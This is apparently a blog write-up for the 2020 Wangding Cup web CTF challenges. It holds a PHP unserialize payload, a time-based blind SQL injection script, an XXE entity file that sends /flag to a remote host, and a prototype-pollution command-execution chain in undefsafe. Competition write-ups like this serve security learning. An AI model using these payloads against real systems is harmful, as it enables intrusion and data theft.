网鼎杯2020-WP

网鼎杯 2020 青龙 web wp

Posted by BY Diego on May 12, 2020

AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
?>

代码比较简单,一个读一个写,

存在几个限制,is_valid 不能出现 ascii为32-125以外的字符,而protected 属性是存在ascii 0 的字符

自己测试了一下,protected直接改为public 也是可以操作的

第二个限制

<?php
if($this->op === "2")
      $this->op = "1";

else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        }
?>

弱类型 op = 2.0 或者字符 “2”也可 构造

<?php
class FileHandler {

    public $op;
    public $filename;
    public $content;

    function __construct() {
        $this->op = 2.0;
        $this->filename = "/etc/passwd";
    }
  }
?>

Y3bQEV.png

但是尝试读flag.php就出现问题,显示为空

最后终测试发现,content值删除就可读php文件,原因不明。。。

O:11:"FileHandler":3:{s:5:"2op";d:2;s:8:"filename";s:8:"flag.php";s:10:"\00*\00content";N;}

这种方式可以读php

Y3qhLR.png

正解为(p神) PHP序列化的时候private和protected变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。

private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。 同理,protected属性会引入\x00*\x00。

此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

因此payload为

O:11:"FileHandler":3:{S:5:"\00*\00op";d:2;S:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";N;}

trace

一道注入题目,基本没什么过滤,但过滤了information_schema ,还有限制了注册20次,多了就没法注入。

因此想达到 能达到延时注入 同时又不能执行insert 语句 https://blog.csdn.net/hwz2311245/article/details/53941523

网上发现这么一篇文章,利用如下payload可以达到无限制注入

 ' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '

语句成功执行的前提是 ||被当作连接符,通过如下可以设置 YNu13t.png

YNuIv6.png

YNu8jf.png 真的话sleep被成功执行 YNu5gx.png

假的话 直接报错 YNu3gP.png

表中也没有任何多余数据 YNu481.png

然后猜表为flag,通过下面也得到证实,返回结果为1

 select count(*) from flag

最后无列名注入,脚本如下

Y3OlUP.png

import requests
import urllib
import time

url = r'http://89feb45bce554a18a2d7900dac0db32dd3f2896c50964e63.cloudgame1.ichunqiu.com/register_do.php'
result = ''

flag = ''

for x in range(1,50) :
	max = 127
	min = 32
	mid = (max + min) //2

	while min <max :
		sql = "select a from (select 1,2 as a union select * from flag)x limit 1,1"

		payload = "'||(SELECT CASE WHEN if(ascii(substr(({2}),{0},1))>{1},1,0) THEN SLEEP(2) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)||'".format(x,mid,sql)
		params = {
			'username':payload,
			'password':123
			}

		try:
			old = time.time()
			res = requests.post(url,data = params)
			if time.time() - old >1 :   
				min = mid +1
			else:
				max = mid
		except Exception as e:
			print  e
		mid = (max + min)// 2

	flag = flag + chr(int(mid))
	print flag

filejava

存在任意文件下载,读取配置文件 /WEB-INF-web.xml

YNta9S.png class 位置/WEB-INF/classes/cn/abc/servlet/*.class

下载反编译得源码,在uploadservlet中存在 YNtd1g.png

这里用了Apache POI 3.10插件,该插件在3.1及以前存在xxe漏洞 编号CVE-2014-3529。

利用 新建exec-1.xlsx 文件,然后用压缩包打开 YNtNh8.png

修改xml文件,添加xxe无回现payload YNtttf.png

远程服务器test.data

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://172.*.*.*/?q=%file;'>">
%int;
%send;

上传查看日志得flag

notes

YNyKOK.png

重点代码

const undefsafe = require('undefsafe');
edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

存在赋值操作,考虑原型链污染。猜测undefsafe存在问题

利用部分代码,可执行命令 YNgIAS.png

百度发现在undefsafe2.0.3以前存在安全问题(CVE-2019-10795),如下

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

YNyuy6.png

执行如下代码, YNgv7T.png

YN2eAO.png

在执行如下,被污染进命令执行部分 YN2g5F.png

YN2mND.png

最后 YNRFPg.png

YNRPIS.png

YNRCa8.png